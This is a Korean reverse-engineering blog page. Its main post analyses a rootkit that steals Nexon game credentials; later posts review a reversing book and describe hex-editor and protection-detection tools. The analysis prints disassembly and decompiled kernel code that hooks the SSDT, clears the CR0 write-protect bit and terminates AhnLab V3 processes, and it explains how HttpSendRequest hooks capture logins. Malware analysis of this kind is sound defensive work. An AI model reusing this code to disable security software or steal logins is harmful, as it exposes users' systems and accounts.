스샷이 짤려서 보이게되면 , 클릭해서 보시면 됩니다.

보안프로그램에서 인라인 후킹해놓은 지점을 건너뛰어버립니다.
따라서 후킹하기전의 상태로 돌려놓는 것이 되버리죠.




다음은 NtTerminateProcess 입니다.
0: kd> u nt!NtTerminateProcess
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]
0: kd> u
nt!NtTerminateProcess+0x11:
805d49bd 837d0800        cmp     dword ptr [ebp+8],0
805d49c1 8bf8            mov     edi,eax
805d49c3 8b4744          mov     eax,dword ptr [edi+44h]
805d49c6 8945f0          mov     dword ptr [ebp-10h],eax
805d49c9 7406            je      nt!NtTerminateProcess+0x25 (805d49d1)
805d49cb c645ff01        mov     byte ptr [ebp-1],1
805d49cf eb08            jmp     nt!NtTerminateProcess+0x2d (805d49d9)
805d49d1 834d08ff        or      dword ptr [ebp+8],0FFFFFFFFh
0: kd> u
nt!NtTerminateProcess+0x29:
805d49d5 c645ff00        mov     byte ptr [ebp-1],0
805d49d9 8a8740010000    mov     al,byte ptr [edi+140h]
805d49df 6a00            push    0
805d49e1 8845f8          mov     byte ptr [ebp-8],al
805d49e4 8d45f8          lea     eax,[ebp-8]
805d49e7 50              push    eax
805d49e8 ff75f8          push    dword ptr [ebp-8]
805d49eb ff35b8595680    push    dword ptr [nt!PsProcessType (805659b8)]
0: kd> u
nt!NtTerminateProcess+0x45:
805d49f1 e97ac06778      jmp     sysnames+0xa70 (f8c50a70)
805d49f6 e8a58afeff      call    nt!ObReferenceObjectByHandle (805bd4a0)
805d49fb 85c0            test    eax,eax
805d49fd 8b75f8          mov     esi,dword ptr [ebp-8]
805d4a00 8bde            mov     ebx,esi
805d4a02 0f8ce8000000    jl      nt!NtTerminateProcess+0x144 (805d4af0)
805d4a08 8d8648020000    lea     eax,[esi+248h]
805d4a0e f6400120        test    byte ptr [eax+1],20h

ObReferenceObjectByHandle을 호출하기전에  자신의 드라이버로 건너뛰게 패치되어져 있습니다.
즉 , Ahnlab V3 라이트에서는  
call   nt!ObReferenceObjectByHandle (805bd4a0) 부분을 Inline Hook 작성해놨을 가능성이 크다는거죠.

결론적으로 NtOpenProcess와  NtTerminateProcess를 후킹하는목적은
Ahnlab V3 Lite의  자가보호 기능을 무력화 시키기 위함입니다.

강제 종료 로직은 , 유저모드 DLL에서 수행하는것이 아닌 , 커널모드 루트킷에서 강제종료를 수행하는것으로 분석되었습니다.
(나중에 해당 로직이 나옵니다.)


해커에게 표적이 된 프로세스 목록은 다음과 같습니다.

 'V3LTray.exe'
 'KSWebShield.exe'
'SgSvc.exe'
 'V3LSvc.exe'
 'V3Light.exe'


참고로 이 악성코드에 감염되게 되면 , 현재 V3 라이트가 실행중이라면 V3 라이트 가 종료되게 되고,
V3 라이트가 시스템에 설치되어져 있지않은 상태에서 , V3 라이트를 설치해서 실행하려고 하면
V3 라이트와 사이트가드 관련 서비스는 실시간으로 모두 강제 종료되게되서 , 전혀 작동하지 않는 상태가 됩니다.


 
이제 프로세스를 어떻게 강제로 종료시키는지, 해당 부분을 알아봅시다.
아래는 강제종료에 관련한 코드를  IDA Hexray를 이용해서 나타낸 것입니다.

(참고 : 아래 부분은 PsSetCreateProcessNotifyRoutine에 의해서 프로세스 생성 , 종료시 호출되는 NotifyRoutine으로 등록된 부분의 핵심부분을 나타낸겁니다.)


result = PsLookupProcessByProcessId(a2, &v9);
    if ( result >= 0 )
    {
      if ( v9 )
      {
        v4 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v4, "V3LTray.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v5 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v5, "KSWebShield.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v6 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v6, "SgSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v7 = (const char *)PsGetProcessImageFileName(v9);
        if ( !stricmp(v7, "V3LSvc.exe") )
        {
          dword_11490 = a2;
          PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }
        v8 = (const char *)PsGetProcessImageFileName(v9);
        result = stricmp(v8, "V3Light.exe");
        if ( !result )
        {
          dword_11490 = a2;
          result = PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
        }

해당 프로세스를 발견하면  시스템쓰레드를 생성해서 특정한 작업을 수행합니다.
StartRoutine을 살펴보니 다음과 같았습니다.


NTSTATUS __stdcall StartRoutine(int a1)
{
  sub_10A90(5000);
  sub_10D10((void *)dword_11490);
  return PsTerminateSystemThread(0);
}
NTSTATUS __stdcall sub_10A90(int a1)
{
  LARGE_INTEGER Interval; // [sp+0h] [bp-8h]@1

  Interval = (LARGE_INTEGER)(-10000i64 * a1);
  return KeDelayExecutionThread(0, 0, &Interval);
}
NTSTATUS __stdcall sub_10D10(void *a1)
{
  OBJECT_ATTRIBUTES ObjectAttributes; // [sp+4h] [bp-28h]@1
  void *v3; // [sp+1Ch] [bp-10h]@1
  CLIENT_ID ClientId; // [sp+20h] [bp-Ch]@1
  HANDLE Handle; // [sp+28h] [bp-4h]@1

  Handle = 0;
  v3 = a1;
  ObjectAttributes.Length = 24;
  ObjectAttributes.RootDirectory = 0;
  ObjectAttributes.Attributes = 0;
  ObjectAttributes.ObjectName = 0;
  ObjectAttributes.SecurityDescriptor = 0;
  ObjectAttributes.SecurityQualityOfService = 0;
  ClientId.UniqueProcess = a1;
  ClientId.UniqueThread = 0;
  if ( !NtOpenProcess(&Handle, 0x1F0FFFu, &ObjectAttributes, &ClientId) )
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
  return ZwClose(Handle);
}

위 코드에서 주목해야할 부분은 
    ((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
부분입니다.

NtOpenProcess를 먼저 호출한뒤에 , NtOpenProcess가 성공한다면 STATUS_SUCCESS (0x00000000L) 이 리턴될것이고

그러면 dword_11494의 함수포인터를 호출하겠죠.
dword_11494가 무엇인지 확인해보기 위해서  코드 레퍼런스를 추적해보니  다음과 같은 디스어셈블 코드가 나왔습니다.
mov     edx, ds:KeServiceDescriptorTable
mov     eax, [edx]
add     eax, 404h

mov     [ebp+var_C], eax
mov     ecx, [ebp+var_C]
mov     edx, [ecx]
mov     dword_11494, edx


위 코드의 의미를 WinDBG에서 먹히는 명령어로 변환해보면 다음과 같습니다.
0: kd> dds poi(KeServiceDescriptorTable) + 0x404
80506864  805d49ac nt!NtTerminateProcess
80506868  805d4ba6 nt!NtTerminateThread
8050686c  805d6c0c nt!NtTestAlert
80506870  80537108 nt!NtTraceEvent
80506874  8061811e nt!NtTranslateFilePath
80506878  805862ce nt!NtUnloadDriver
8050687c  80624062 nt!NtUnloadKey
80506880  8062427c nt!NtUnloadKeyEx

0: kd> r $t0 = poi(KeServiceDescriptorTable) + 0x404
0: kd> r $t1 = poi(@$t0)

0: kd> u @$t1
nt!NtTerminateProcess:
805d49ac 8bff            mov     edi,edi
805d49ae 55              push    ebp
805d49af 8bec            mov     ebp,esp
805d49b1 83ec10          sub     esp,10h
805d49b4 53              push    ebx
805d49b5 56              push    esi
805d49b6 57              push    edi
805d49b7 64a124010000    mov     eax,dword ptr fs:[00000124h]

0: kd> r $t2 = poi(@$t1)
0: kd> r $t2
$t2=8b55ff8b  (Byte 참조 순서가 거꾸로인 이유는  IA-32 Compatible CPU는  Little Endian 방식의 메모리 참조를 하기 때문.)


자...이제 아시겠죠?
NtTerminateProcess를 커널모드에서도 호출하고 있음을 명확하게 확인할 수 있습니다.
0x404는  서비스넘버를 하드코딩한것으로 보입니다.
PsGetVersion을 호출해서 OS별로 서비스넘버를 하드코딩한게 아니라 ,
그냥  MS WindowsXP SP3 버젼을 기준으로 해서 서비스넘버를 하드코딩 한것으로 보입니다.
따라서 이 악성코드는  윈도우XP 서비스팩3 버젼이 아닌, 다른 버젼의 NT OS(Vista , 7 , XP SP2 등) 에서 실행했을 경우,
또는 다른 커널모드 보안 드라이버와 충돌할 경우  ,블루스크린이 발생할 가능성이 있습니다.



결과적으로 이 로직의 순서는 다음과 같습니다.

PsSetCreateProcessNotifyRoutine을 호출하여 , NotifyRoutine을 설치해둠.
( 프로세스 생성과 종료시 , NotifyRoutine이 실행됨)

- 아래 내용은 프로세스가 생성, 종료될때마다 실행됩니다. (NotifyRoutine) -

1. PsLookupProcessByProcessId를 호출해서 해당 프로세스의 PEPROCESS를 얻어오고, 
PEPROCESS를 인자로 넘기면서 PsGetProcessImageFileName을 호출하여 V3 관련 프로세스가 실행중인지 확인.

2. 타겟 프로세스가 발견되면 특정 목적을 수행하는 시스템쓰레드를 생성.

3. 시스템쓰레드는 KeDelayExecutionThread를 호출해서 약 5초간 쓰레드 실행을 지연시킴.

4. NtOpenProcess를 호출하여, 성공하면 핸들을 반환.(이미 후킹되어져 있기때문에 거의 성공함)

5. HANDLE값과 ExitCode 값 0을 인자로 넘기면서 , NtTerminateProcess를 호출하여  해당 프로세스 종료.

6. ZwClose를 호출해서 Usage Count를 내림.

7. 시스템쓰레드 자동 폭파.

이상으로 , 이 악성코드에서  V3관련 프로세스를 때려부수기 위한 로직은 대충 파악을 끝낸것 같습니다.




아참 , 그리고 SSDT에 수정을 가하기 위해서
MDL을 쓰느냐  , CR0 Hook을 쓰느냐  궁금해하실 분들이 계실수도 있는데,
이 루트킷에서는 CR0 Hook 방식을 사용하더군요.
정확히 말하자면  Intel IA-32 CPU의 Control Register 0번의  Write Protection Bit를  1에서 0으로 조작하는 형태입니다.
이 작업을 수행하는 코드는 이미 널리 알려진대로 다음과 같습니다.
  PUSH EAX
  MOV EAX,CR0
  AND EAX,0xFFFEFFFF
  MOV CR0,EAX
  POP EAX

참고로 이 드라이버는 아주 더럽게도  DriverUnload에 어떠한 언로드 코드도 넣어두지 않고 있습니다.
완전 더러운놈들이죠...드라이버 언로드 되도 끝까지 살아남겠다는 그 의지!
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11170;
void __stdcall sub_11170(int a1)
{
  ;
}
이런 더러운 놈들!



& Baidog.dat 추가적인 정보 &

* v3ltray.exe가 윈도우 부팅 시 자동으로 실행되지 않게끔 레지스트리에서 값을 제거하는 기능을 가지고 있음.





여기서부터는 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.




*  WININET.DLL에서 제공하는 함수인  HttpSendRequestA와  HttpSendRequestW 함수를 후킹해서
넥슨 홈페이지에 ID와 비밀번호를 입력해서 로그인할때 , ID와 비밀번호를 훔쳐내는 기능을 가지고 있음.


아래는 API Inline 후킹된 모습을 나타내는 스샷입니다.
First Bytes를 Inline Patch해서  해커가 코딩한 영역으로 끌고오는 모습을 확인할 수 있습니다.



넥슨 홈페이지에 접속해서
ID에다가  THIS_IS_ID
Password 에다가 THIS_IS_PASS
라고 치고  로그인을 해보겠습니다.



고스란히  Baidog.dat 메모리 영역에  ID와 비밀번호가 찍히고 있는 모습을 확인할 수가 있습니다.
strNexon ID= 라는 문자열과  strPassword= 라는 문자열이 있는것으로 봐서  철저히 패턴 위주로 문자열을 탐색하고 있음을 짐작해볼 수 있습니다.
저 부분에 엑세스하는 모든 주소를 캡쳐해보았는데 , 브포가 걸린 지점에서 콜스택을 확인해보니 다음과 같이 나왔습니다.


0x10003488 주소에 대해서 RtlZeroMemory를 수행하던 도중에 , 중지되었습니다.

콜 스택을 확인해보니 , 다음과 같이 전개되었음을 유추할수 있겠네요.

로그인버튼 누름 ->IE에서 아이디와 비밀번호를 인자로 전달하여 , HttpSendRequestW 호출 -> HttpSendRequestW에서 해커가 코딩한 영역으로 점프함  -> 아이디와 비밀번호를 저장하는영역(배열) 을 RtlZeroMemory 를 호출해서 0으로 초기화 시킴.  -> 해당 영역을 가로챈 아이디와 비밀번호로 채움.   


HttpSendRequestW 함수가 호출되면서 인자로 strNexonId와  strPassword가 전달됨을 확인할 수 있습니다.
그런데 HttpSendRequestW는 현재 API Inline Hook 된 상태입니다.
당연히 해커가 작성한 프로그램영역으로 넘어오겠죠?
해커는 굴러들어온 인자를 적절히 문자열 컨트롤만 해주면 됩니다.
즉 , 넥슨사이트의 ID와 비밀번호 전송 알고리즘 부분은 이미 중국해커에게 모두다 분석 당한 상태이고,
중국해커는 그 부분을 이용해서 손쉽게 넥슨ID와 비밀번호를 털어내가고 있는것입니다.

위와같이 정보를 빼가는 방식은  키보드보안이나 개인방화벽의 작동여부와는 일백퍼센트 무관한 경우입니다.


결국엔 이 악성코드에 감염되고 나서 , 게임을 접속하지않고 ,  
IE를 이용해서 넥슨 관련 모든 홈페이지에 로그인 접속만 하면
넥슨계정은 털리게 될것입니다.


넥슨은 이쯤에서  사이트 리모델링을 해야될 필요성이 있습니다.
아니 , 어찌보면 우리나라가 인터넷익스플로러에 찌들었다는게 참 안타까운 현실입니다..........




** 추가정보 **
HttpSendRequestA , HttpSendRequestW 의 후킹 여부를 탐지해주는 프로그램





악성코드에 관한 정보는  많은분들께 도움이 됐으면 좋겠습니다.  (특히나 온라인게임 업계 종사자분들께)





// 2010.4.17 내용 추가


PS2. 이 글 내용과 제목이 뭔가 오해를 불러일으킬만한 소지가 있는것 같네요.
즉 , 이 글을 놓고봤을때 , 넥슨의 아이디와 비밀번호 전송 부분이 분석당해서 넥슨 계정이 대량으로 털리고있으니, 이건 넥슨 잘못이다,  라고  치부해버리는 분들이 계시는데,

여기서 저의 생각을 대략 말씀드리면

이 모든것의 시작은 악성코드 감염으로 인해서 이루어지는것이므로 ,
1차적인 책임은 유저들에 있습니다. (개인부주의로 인한 - 각종 인터넷습관 등)
무작정 넥슨의 책임으로 몰아가기에는 무리가 있다는 말입니다.
해커는 단지 사용자들이 악성코드에 감염되길 바라고 있을뿐입니다.




//2010. 6. 3 내용 추가
위 내용대로 HttpSendRequestA와  HttpSendRequestW의 후킹을 이용해서 
ID와 비밀번호를 탈취하는것은 이제 막혔습니다.
아이디와 비밀번호를 암호화해서 전송하는 방식으로 바뀌었습니다.
따라서 , 이 암호화부분이 분석되기전까지는 API 후킹을 통한 넥슨계정탈취 수법은 통하지 않을겁니다.
저작자 표시 비영리 변경 금지
신고

'Reverse Engineering' 카테고리의 다른 글

flo`s Notepad2 4.1.24  (1) 2010.04.04
AT4RE JOINER 4.0  (5) 2010.04.04
넥슨 온라인게임 악성코드에 관한 분석  (89) 2010.03.25
W32Dasm 10.0  (0) 2010.02.04
Kernel Detective 1.3.1  (5) 2010.01.23
모 온라인 게임 보안 프로그램이 후킹하는 SDT 함수들  (6) 2009.12.21
by Sone 2010.03.25 23:47
이때까지 우리나라 역공학 관련 서적은 "역분석의 구조와 원리" 가 유일했었던것으로 알고있다.
그러나 개인적인 소견이지만 이 서적은 저자의 목적이었고 , 많은 사람들이 접근할수 있게끔 너무 기본적인 내용만 다루는터라 ,
고급 기술을 원하는 사람들에게는 뭔가 부족해보이는 서적이었다.

그러나..5월11일?

Reversing: Secrets of Reverse Engineering
리버싱 : 리버스 엔지니어링 비밀을 파헤치다

라는 제목으로 책이 출판되었다.

원래 이 책은 4년전 2005년 4월즈음에 외국에 이미 원서로 출판되었었지만,
우리나라는 드디어!  이제서야 번역이 되어져서 몇일전에 출판된 것이다.

따라서 아마 개인적인 생각으로는  역자가 따로 최신 내용을 추가하지 않는이상 ,
2005년 당시의 기술적인 내용들이 언급되어져 있을것이므로 , 약간 오래된 풍의 내용이 실렸을것으로 추측되지만,
그래도 역시나 제대로 된 서적 하나없는 우리나라 리버싱 정보망에 한줄기 희망의 빛을 주는 서적이 아닌가..하는 생각이 든다.
(실제 책을 받아서 본 결과 , 그리 오래된 내용들도 아니고 , 좋은 내용들이 많은것 같다.)








책에서 다룰 내용 중 , 주인장이 관심가는 부분을 붉은색으로 표시해보았다.


★ 이 책에서 다루는 내용 ★

■ IA-32 호환 프로세서용 컴파일러가 만든 어셈블리 언어 코드를 읽는 방법
> 어셈코드를 아직 어설프게밖에 읽을줄 모르는 관계로 , 개인적으로는 많은 도움이 될듯하다.

■ 문서화되지 않은 파일 포맷이나 네트워크 프로토콜 해석
■ 리버스 엔지니어링이 합법인 경우와 불법인 경우, 그리고 불법일 때의 이유
> 제일 민감하고도 , 중요한 부분이라고 생각되는 부분.

■ 리버싱을 활용해 해커가 복사 방지 기술을 무력화하는 방법
> 유명한 게임제작사들이 적용하는 SafeDisc 라던가 Starforce , SecuROM등을 무력화 하는 방법을 다루는것 같다.

■ 리버스 엔지니어링을 적용해 악성코드를 무력화하는 방법
> 악성코드를 분석하여 , 취약한 프로그램에 수정을 가함으로써  , 악성코드가 그 프로그램에 해를 끼치지 않게 하는건가?

■ 코드 리버싱을 막는 방어책과 효과적인 수행 방법
■ 닷넷 플랫폼 리버싱과 어셈블리 언어인 MSIL
■ 실제 악성코드 프로그램 분석 방법
> 가끔 이슈가 되는 악성프로그램들을 파보곤 하는데 , 역시나 관심이 가는 부분

■ 악성코드 프로그램을 이용해 공격자가 감염된 시스템 제어권을 획득하는 과정
>  크래커가 시스템을 장악하는 수법을 말하는듯.



다음으로 목차를 살펴보자.  목차를 보면 다들 아시겠지만 , 고급적인 내용들을 상당수 다루고 있다.
리버싱에 관심이 있는분께는 큰 도움이 될듯 하다.
주인장 역시 모르는 내용이 엄청나게 많다.
(초보분들이나 , 익숙치 않으신 분들께는 내용이 어려울것이라 생각된다.)


목차
1부 리버싱 101

1장 기초
리버스 엔지니어링
소프트웨어 리버스 엔지니어링: 리버싱
리버싱 적용
- 보안 관련 리버싱
-- 악성코드 소프트웨어
-- 암호 알고리즘 리버싱
-- 디지털 저작권 관리
-- 프로그램 바이너리 감사
- 소프트웨어 개발에서의 리버싱
-- 소프트웨어 간의 상호 운용
-- 경쟁 제품 분석
-- 소프트웨어의 품질과 안정성 측정
로우레벨 소프트웨어
- 어셈블리 언어
- 컴파일러
- 가상 머신과 바이트 코드
- 운영체제
리버싱 절차
- 시스템 레벨 리버싱
- 코드 레벨 리버싱
사용 툴
- 시스템 모니터링 툴
- 디스어셈블러
- 디버거
- 디컴파일러
리버싱은 합법적인 작업인가
- 상호 운용성
- 경쟁
- 저작권법
- 영업 비밀과 특허권
- 디지털 밀레니엄 저작권법
- DMCA 사례
- 사용권 계약
예제 코드와 툴
정리

2장 로우레벨 소프트웨어
하이레벨 관점
- 프로그램 구조
-- 모듈
-- 공통 구성 요소
- 데이터 처리
-- 변수
-- 사용자 정의 데이터 구조체
-- 리스트
- 제어 흐름
- 하이레벨 언어
-- C
-- C++
-- 자바
-- C#
로우레벨 관점
- 로우레벨 데이터 처리
-- 레지스터
-- 스택
-- 힙
-- 실행 데이터 섹션
- 제어 흐름
어셈블리 언어 입문
- 레지스터
- 플래그
- 명령 포맷
- 기본 명령
-- 데이터 이동
-- 산술 연산
-- 비교 연산
-- 조건 분기
-- 함수 호출
- 코드 예
컴파일러 기초
- 컴파일러란
- 컴파일러 아키텍처
-- 프런트엔드
-- 중간 표현
-- 최적화기
-- 백엔드
- 리스팅 파일
- 사용 컴파일러
실행 환경
- 소프트웨어 실행 환경(가상 머신)
-- 바이트 코드
-- 인터프리터
-- Just-in-Time 컴파일러
-- 리버싱 전략
- 최신 프로세서에서의 하드웨어 실행 환경
-- Intel NetBurst
-- μops(Micro-Ops)
-- 파이프라인
-- 분기 예측
정리

3장 윈도우 기초
컴포넌트와 기본 아키텍처
- 간략한 역사
- 특징
- 지원 하드웨어
메모리 관리
- 가상 메모리와 페이징
-- 페이징
-- 페이지 폴트
- 워킹 셋
- 커널 메모리와 유저 메모리
- 커널 모드 공간
- 섹션 객체
- VAD 트리
- 유저 모드 메모리 할당
- 메모리 관리 API
객체와 핸들
- 네임드 객체
프로세스와 스레드
- 프로세스
- 스레드
- 컨텍스트 스위칭
- 동기화 객체
- 프로세스 초기화 과정
애플리케이션 프로그래밍 인터페이스
- Win32 API
- 네이티브 API
- 시스템 콜 메커니즘
실행 포맷
- 기본 개념
- 이미지 섹션
- 섹션 정렬
- 동적 링크 라이브러리
- 헤더
- 임포트와 익스포트
- 디렉터리
입력과 출력
- I/O 시스템
- Win32 서브시스템
-- 객체 관리자
구조화된 예외 처리
정리

4장 리버싱 툴
다양한 리버싱 방법
- 오프라인 코드 분석(Dead-Listing)
- 라이브 코드 분석
디스어셈블러
- IDA Pro
- ILDasm
디버거
- 유저 모드 디버거
-- OllyDbg
-- WinDbg를 이용한 유저 모드 디버깅
-- IDA Pro
-- PEBrowse Professional Interactive
- 커널 모드 디버거
-- WinDbg를 이용한 커널 모드 디버깅
-- Numega SoftICE
-- 가상 머신에서의 커널 디버깅
디컴파일러
시스템 모니터링 툴
패치 툴
- Hex Workshop
기타 리버싱 툴
- 실행 이미지 덤프 툴
-- DUMPBIN
-- PEView
-- PEBrowse Professional
정리

2부 리버싱 응용

5장 리버싱 실전
리버싱과 상호운용성
기본 원칙
문서화되지 않은 API를 찾는 방법
- 찾고자 하는 것
사례 연구: NTDLL.DLL의 Generic Table API
- RtlInitializeGenericTable
- RtlNumberGenericTableElements
- RtlIsGenericTableEmpty
- RtlGetElementGenericTable
-- 셋업과 초기화
-- 로직과 구조
-- 검색 루프 1
-- 검색 루프 2
-- 검색 루프 3
-- 검색 루프 4
-- 소스코드 추출
- RtlInsertElementGenericTable
-- RtlLocateNodeGenericTable
-- RtlRealInsertElementWorker
-- Splay 트리
- RtlLookupElementGenericTable
- RtlDeleteElementGenericTable
- 분석한 내용 종합
정리

6장 파일 포맷 분석
Cryptex
Cryptex 사용
Cryptex 리버싱
패스워드 검증 과정
- "Bad Password" 메시지 잡아내기
- 패스워드 변환 알고리즘
- 패스워드 해싱
디렉터리 구조
- 디렉터리 처리 코드 분석
- 파일 엔트리 분석
디렉터리 구조 덤프
파일 추출 과정
- 파일 목록 검색
- 파일 복호화
- 부동소수점 연산
- 복호화 루프
- 해시 값 검증
정리
좀 더 자세히
결론

7장 프로그램 바이너리 감사
문제점 정의
보안 취약점
- 스택 오버플로우
-- 간단한 스택 보안 취약점
-- 내부 구현
-- 스택 검사
-- 비실행 가능 메모리
- 힙 오버플로우
- 문자열 필터
- 정수 오버플로우
-- 사용자 입력 정수에 대한 산술 연산
- 형 변환 에러
사례: IIS 인덱싱 서비스 보안 취약점
- CVariableSet::AddExtensionControlBlock
- DecodeURLEscapes
정리

8장 악성코드 리버싱
악성코드의 종류
- 바이러스
- 웜
- 트로이 목마
- 백도어
- 모바일 코드
- 애드웨어/스파이웨어
스틱키 소프트웨어
미래의 악성코드
- 정보 탈취 웜
- 바이오스/펌웨어 악성코드
악성코드의 목적
악성코드 취약점
다형성
변종
안전한 리버싱 환경 구축
Backdoor.Hacarmy.D
- 실행 파일 언패킹
- 최초 실행
- 설치
- 네트워크 연결
- 서버에 연결
- 채널에 접속
- 백도어와 통신
- SOCKS4 서버 실행
- 자체 제거
Backdoor.Hacarmy.D: 명령 레퍼런스
정리

3부 크래킹

9장 저작권 침해와 불법 복사 방지
저작권
사회적 측면
소프트웨어 저작권 침해
- 문제 정의
- 보안 결함
- 필요 조건
- 이론적으로 크랙이 불가능한 모델
보호 유형
- 매체 기반 보호
- 시리얼 번호
- 질의 응답과 온라인 인증
- 하드웨어 기반의 보호
- 서비스로서의 소프트웨어
진보된 보호 개념
- 크립토 프로세서
디지털 저작권 관리
- DRM 모델
-- 윈도우 미디어 저작권 관리자
-- 시큐어 오디오 패스
워터 마크
신뢰 컴퓨팅
복사 방지 기술 공격
정리

10장 안티 리버싱 기술
안티 리버싱이 필요한 이유
기본적인 안티 리버싱 방법
심볼 정보 제거
코드 암호화
안티 디버거 기술
- 디버거 기본
- IsDebuggerPresent API
- SystemKernelDebuggerInformation
- 싱글 스텝 인터럽트를 이용한 SoftICE 탐지 ...

목차를 쭉 살펴보면 ,  어셈블리 언어부터 시작해서 ,   윈도우 운영체제 , 컴퓨터 구조 ,  전반적인 언어론 , 컴파일러 등
모든 내용을 다루고 있다.  (아마 리버싱이라는 관점에 입각해서 내용을 다룰것으로 추측된다.)
따라서 모르는 부분이 생기면 , 언제든지 간단하게 찾아볼 수 있을것으로 생각된다.

원판이 발행된지 오래된것이 약간 마음에 걸리지만 , 크게 개의치 않고..
일단 내용이 매우 알차보인다


SAMSUNG TECHWIN | NV24HD, VLUU NV24HD, LANDIAO NV106HD | Normal program | Pattern | 1/3sec | F/2.8 | 0.00 EV | 4.3mm | ISO-200 | Off Compulsory | 2009:05:22 23:47:59
SAMSUNG TECHWIN | NV24HD, VLUU NV24HD, LANDIAO NV106HD | Normal program | Pattern | 1/25sec | F/2.8 | 0.00 EV | 4.3mm | ISO-200 | Off Compulsory | 2009:05:22 23:48:18


오늘 책을 받아보았는데 ,  내용이 많아서 좋지만  좀 딱딱한 감이 없잖아 있다. (그림같은것이 별로 없다)
그리고 좀 어려운 편인것 같아서 , 초보분들께서 보기에는 다소 무리가 있는것 같다.


C언어 , 컴퓨터구조 , 어셈블리언어 , 운영체제 등을 대충이나마 미리 알고 책을 보는게 좋을듯..
저작자 표시 비영리 변경 금지
신고
by Sone 2009.05.22 02:55

Powerfull multiple files hexadecimal editor
with Data Inspector, Calculator, File Compare, Memory Dumper and Disk Dumper (NT only).


데이터 조사, 계산 , 파일 비교 ,  메모리덤프(시스템 바이오스 , VGA 바이오스 덤프 가능) , 그리고  디스크 덤프 등의
여러 강력한 기능을 가지고있는   헥스에디터 프로그램입니다.

저작자 표시 비영리 변경 금지
신고
by Sone 2009.02.13 13:27

Features

- detection of every major PC ISO Game / App protection   *PC ISO 게임/ 어플의 프로텍션을 감지할수 있음.
- sector scanning CDs / DVDs for Copy Protections  *섹터 스캐닝을 통한 CD/DVD 복사방지 락을 감지할수 있음.
- covers more than 350 protections including exe protectors, .net protectors, packers, dongles, licenses & installers
* 350가지 이상의  exe 프로텍터 , .NET 프로텍터 , 패커 , 동글 ,  라이센스 , 인스톨러들을 감지할 수 있음.
- files / folders can simply be drag & droped into pid (link files will re resolved too)
* 파일과 폴더를 간단하게 드래그&드랍 하기만 하면  검사 가능
- strong scanning routines allowing it to detect multiple protections in one file
* 하드코어 스캐닝 기능은  이중 프로텍션이 걸린 파일을 감지할수 있음.
- easy scanning via shell context menu
* 쉘 컨텍스트 메뉴를 통한  간편한 스캐닝 가능.
- usefully misc tools included
* 유용한 툴 포함
- coded 100% in Win32 assembly language
* Win32 어셈블리 언어로 코딩됨.
- fully 32bit & 64bit compliant
* 32비트와 64비트 지원
- working on every Windows OS from Win9x to windows Vista
Win9X와  Windows NT 계열(Vista/XP/2K)  에서 작동가능.
- no additional files are required (like VB Runtimes, MSVC dlls or ASPI drivers)
프로그램 구동에  VB 런타임이라던가  MSVC 런타임 , ASPI 드라이버따위는 필요하지 않음.


PC ISO Protections

- 3P Lock
- CDCops
- CDLock
- Codelok
- HexaLock Copy Protection
- JoWood X-Prot
- Laserlok / Laserlok Marathon
- Protect DiSC
- Ring-Protech
- Safedisc
- SecuROM
- Settec Alpha ROM
- SmartE
- SolidShield
- StarForce
- Sysiphus
- Tages
- VOB Protect CD/DVD

- Games for Windows Live
- Steam (basic stub)


CD/DVD sector scans

- Cactus Audio Shield
- Codelok
- ProtectDisc
- SafeDisc
- SecuROM
- Starforce
- Starforce Keyless
- Tages

- css/cpmm
- cprm
- aacs hddvd
- aacs bd



PC Game Trial Protections

- ActiveMARK
- Alawar Try & Buy Activation
- GameHouse Trial Wrapper
- INTENIUM Try & Buy
- KochMedia ePolice
- ReflexiveArcade Wrapper
- SVKP Online
- WildTangent Activation System
- Zylom Wrapper


EXE Packer - commercial

- ASPack v1.00b, v1.01b, v1.02b, v1.03b, v1.05b, v1.06b / v1.061b, v1.07b, v1.08.00, v1.08.01
v1.08.02, v1.08.03, v1.08.04, v2.000, v2.001, v2.1, v2.11, v2.11c / v2.11d, v2.12, v2.12b
- EXE32Pack v1.37, v1.38, v1.42
- E-Zip v1.0
- KasperSky Pack
- NSPack 2.3 - v2.7, v2.9, v3.0, v3.1, v3.3, v3.4, v3.5, v3.6, v3.7, [unknown version]
- NTkernelPacker v0.1 (exe + dlls)
- PEBundle v3.xx
- PE Compact v1.00 - v1.3x, v1.40 - v1.50, v1.55, v1.56 - v1.65, v1.66 - v1.84 v2.0 Beta Build 52,
v2.00 - v2.10, v2.20 - v2.80, 2.xx [unknown version]
- Petite v1.2, v1.3, v1.4, v2.2, v2.3, [unknown version]
- PKLite32 v1.1
- RLPack v1.21
- Shrinker v3.4, v3.5, [unknown version]
- Software Compress v1.2, v1.4
- THInstall
- WWPack32 v1.xx


EXE Packer - freeware

- AHPacker v0.1
- ANDpakk2
- Anslym Packer
- ASDPack v2
- BamBam v0.0.1
- BeRoEXEPacker v1.00
- Berio v1.0
- BJFNT v1.1, v1.2, v1.3
- cEXE 1.0a / 1.0b
- CICompress v1.0
- DePack
- fEaRz Packer v0.3
- FSG v1.0, v1.2, 1.3 - v1.31, 1.3.3, 1.33, v1.33a, 2.0
- hmimys PE-Pack v0.1
- IMP-Packer v1.0
- JD Pack v1.01, v2.00
- KByS Packer v0.28 Beta
- kkrunchy
